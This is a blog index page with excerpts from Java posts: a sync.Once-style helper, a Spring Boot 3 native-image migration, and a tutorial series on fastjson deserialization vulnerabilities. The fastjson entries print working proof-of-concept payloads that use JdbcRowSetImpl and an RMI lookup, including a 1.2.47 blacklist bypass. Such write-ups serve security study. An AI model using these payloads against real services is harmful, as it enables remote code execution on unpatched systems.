在 Java 里如何让方法只执行一次?

最近一年时间一直在写 Golang ,也算是对 Golang 有了初步的掌握,再次写 Java 的时候发现有点生疏了,写代码的时候也不自觉代入了写 Golang 的思维。 正如我想要在 Java 里面想让某一个方法只执行一次的时候,我第一时间想到了 Golang 里面的 Once 功能。 sync.Once 是 Golang 的一个并发原语,它提供了一种安全地在多个 goroutine 中执行某个函数(或代码块)一次的机制。 sync.Once 类型有一个 Do 方法,该方法接收一个函数作为参数,并确保这个函数只会被执行一次,无论有多少个 goroutine 同时调用它。具体来说,第一个调用 Do 方法的 goroutine 会执行这个函数,而其他 goroutine 则会等待它完成,然后返回相同的结果。 sync.Once 可以用于一些需要全局初始化的场景,比如初始化配置信息、数据库连接等。使用 sync.Once 可以确保这些初始化只会被执行一次,并且可以安全地被多个 goroutine 共享使用。 – 来自 ChatGPT 其实和单例模式差不多,但我想要的是让方法只执行一次,我魔改了一下,直接上代码吧。 package cn.typesafe.sync; import lombok.SneakyThrows; import java.util.concurrent.Callable; public class Once<T> { private volatile T t = null; @SneakyThrows public T doOnce(Callable<T> action) { if (t == null) { synchronized (this) { if (t == null) { t = action....

April 2, 2023 · 1 分钟 · dushixiang

SpringBoot 3.0.0尝鲜与Java打包原生二进制【一】

2022年11月24日 SpringBoot 正式发布了 3.0 版本,带来许多新的特性,但我最关心的还是Java打包成原生二进制,运行时不再依赖jre环境,运行Java程序将和Go程序一样方便。 升级至 SpringBoot 3.0.0 说是尝鲜,但是我不想再试着搞 hello world 那种啥都没有的东西了,找到我之前写的一个Java开源项目 kafka-map 拿他开刀。 kafka-map 本身是基于 SpringBoot 2.4.x 开发的,sqlite 存储数据,且很久没有大的更新了,想要直接升级到 SpringBoot 3.0.0 是不可能的,我按照官方文档 Spring Boot 3.0 迁移指南 首先升级到最新2.7.x版本,然后就发现 service 依赖循环了,这个时候有两种选择,一是在配置文件中允许依赖循环 spring.main.allow-circular-references: true,二是梳理业务逻辑解决依赖循环的问题。作为一个合格的开发,我选择了解决依赖循环的问题,过程不表。 SpringBoot 3.0.0 升级了很多组件,其中 Jpa 依赖的 Hibernate 升级到了 6.x,我启动时又遇到了 sqlite 方言插件不可用的问题,还好 Hibernate 6.x 已经支持了 sqlite方言,切换到官方插件就好了。配置文件如下: spring: datasource: url: jdbc:sqlite:data/kafka-map.db driver-class-name: org.sqlite.JDBC jpa: hibernate: ddl-auto: update show-sql: true properties: hibernate: dialect: org.hibernate.community.dialect.SQLiteDialect 原生二进制打包 打包原生二进制还是最折腾的,刚开始参考GraalVM Native Image Support 把打包 springboot:build-image 当成了打包原生二进制了,而且打包的过程中还遇到了 UnsupportedFeatureException: No instances of ch....

November 26, 2022 · 1 分钟 · dushixiang

Java 反序列化漏洞原理(六)fastjson 1.2.68 绕过原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 Fastjson <= 1.2.68 expectClass 绕过原理 当 fastjson 更新到 1.2.68 之后,大部分安全漏洞都已经封堵住了,但不排除还有人手里握着一些 0day 没有放出来。 fastjson 1.2.68 在进行反序列化的时候,会进入 ObjectDeserializer 的 deserialze 方法,而 安全人员发现 当 @type 为 java.lang.AutoCloseable 的时候会找到实现类 JavaBeanDeserializer 调用 deserialze,而 JavaBeanDeserializer 的 deserialze 方法还会继续解析得到第二个 @type 对应的值进行反序列化,并且 expectClass 则不再是 null 值,而是 java.lang.AutoCloseable。 JavaBeanDeserializer 的 deserialze 部分代码示例。 if (lexer.token() == JSONToken.LITERAL_STRING) { // 第二个 @type 的值 String typeName = lexer.stringVal(); lexer.nextToken(JSONToken.COMMA); if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) { if (lexer.token() == JSONToken.RBRACE) { lexer.nextToken(); break; } continue; } // 这里没有获取到 deserializer ObjectDeserializer deserializer = getSeeAlso(config, this....

November 6, 2021 · 5 分钟 · dushixiang

Java 反序列化漏洞原理(五)fastjson 1.2.47 绕过原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 Fastjson <= 1.2.47 POC 随着 fastjson 的更新,以往的安全漏洞都被封堵掉了,但道高一尺,魔高一丈,安全人员发现了一个通杀的漏洞,以往的封堵手段都可以绕过,算是一个里程碑的发现。 我们首先将 fastjson 升级到 1.2.47 版本,然后使用我们之前的POC进行测试。 import com.alibaba.fastjson.JSON; public class Eval3 { public static void main(String[] args) throws Exception { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}"; JSON.parse(payload); } } 不出意料的话会出现这样的错误提示信息: autoType is not support. com.sun.rowset.JdbcRowSetImpl 这是因为 fastjson 使用了黑名单机制,禁止将 com.sun.rowset.JdbcRowSetImpl 反序列化。 下面我们使用新的 POC 进行测试,又可以利用成功了。 import com.alibaba.fastjson.JSON; public class Eval5 { public static void main(String[] args) throws Exception { String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}"; JSON.parse(payload); } } payload 格式化之后如下:...

October 31, 2021 · 3 分钟 · dushixiang

Java 反序列化漏洞原理(四)JNDI + RMI/LDAP 在fastjson中的利用原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 JNDI 是什么 Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。 JNDI 包含在Java SE中,不需要引用第三方jar即可使用。要使用 JNDI 必须要有一个或多个服务提供者。JDK 本身已经包括了下面几种服务提供者。 轻量级目录访问协议 (LDAP) CORBA 公共对象服务命名(COS naming) Java 远程方法调用 (RMI) 域名服务 (DNS) 这么说起来还是有点抽象,简单理解就是服务提供者提供一个类似Key Value的数据,JNDI可以通过这个 Key 获取到服务提供者上的提供的Value,因此JNDI是无法单独使用的。 使用JNDI的方式也很简单,下面就是一个获取远程对象的示例代码。 // 创建一个上下文对象 InitialContext context = new InitialContext(); // 查找监听在本地 1099 端口上 RMI 服务的 Object 对象 Object obj = context.lookup("rmi://localhost:1099/Object"); RMI 是什么 RMI 是 Remote Method Invocation 的缩写,中文含义为远程方法调用,即一个Java程序调用调用另一个Java程序暴露出来的方法。 RMI 有三个概念: Registry : 提供服务注册和服务获取,服务端将类名称,存放地址注册到Registry中,以供客户端获取。 Server : 远程方法的提供者。 Client : 远程方法的调用者。 远程方法的定义需要满足两个条件: 实现 java....

October 30, 2021 · 6 分钟 · dushixiang